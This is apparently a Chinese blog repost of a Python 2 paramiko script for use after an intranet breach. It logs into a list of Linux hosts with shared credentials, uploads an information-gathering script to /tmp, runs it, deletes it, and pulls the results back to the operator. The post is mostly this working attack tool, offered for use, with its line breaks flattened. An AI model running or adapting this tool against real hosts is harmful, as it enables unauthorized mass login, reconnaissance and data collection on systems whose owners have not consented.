千家信息网

ssh批量登录 上传 执行命令 下载文件

发表于:2024-11-28 作者:千家信息网编辑
千家信息网最后更新 2024年11月28日,用途:搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。缺点:不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改执
千家信息网最后更新 2024年11月28日ssh批量登录 上传 执行命令 下载文件

用途:

搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。

缺点:

不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改

执行过程:

执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的 两个文件都需要改动)

# -*- coding: utf_8 -*-# Date: 2015/5/15# author:sanrimport paramiko,time,sys,osdef README():        print '+' + '-' * 50 + '+'        print u'\t     Python ssh批量登录脚本'        print u'\t       ip请写入iplist.txt     '        print u'\t           Time:2015-5-15'        print u'\t         author : sanr'        print '+' + '-' * 50 + '+'        if len(sys.argv) != 3:                print  u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass"                print  u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root"                sys.exit()def upload(host,user,pswd):        try:                ssh = paramiko.Transport((host,22))                ssh.connect(username = user, password = pswd)                sftp = paramiko.SFTPClient.from_transport(ssh)                sftp.put("./1.py","/tmp/1.py")                print '[+]'+host,u'ssh已登陆',                # 调用执行命令函数                ssh3(host,user,pswd)                # 调用创建目录函数                mkdir(host)                # 下载远程主机文件                sftp.get("/tmp/test.txt", "./"+host+"/result.txt")                print u'信息收集结果已成功下载'                ssh.close()        except:                passdef ssh3(host,user,pswd):        try:                ssh = paramiko.SSHClient()                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())                ssh.connect(host,22,user,pswd, timeout=5)                #stdin, stdout, stderr = ssh.exec_command('ifconfig;free')                #print stdout.read()                #执行命令 修改上传1.py的代码权限为777 执行1.py脚本  删除1.py脚本                stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py')                ssh.close()        except:                passdef mkdir(path):    # 引入模块    import os    # 判断路径是否存在    # 存在     True    # 不存在   False    isExists=os.path.exists(path)    # 判断结果    if not isExists:        # 创建目录操作函数        os.makedirs(path)                # 如果不存在则创建目录        print  u' 创建目录成功',        return True    else:        # 如果目录存在则不创建,并提示目录已存在        print   u'本地目录已存在',        return Falseif __name__=='__main__':        README()        start_time = time.time()        with open('./iplist.txt', 'r') as f:                for ip in  f:                        host=ip.strip()                        user=sys.argv[1]                        pswd=sys.argv[2]                        upload(host,user,pswd)        print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)          


附件:http://down.51cto.com/data/2365680
0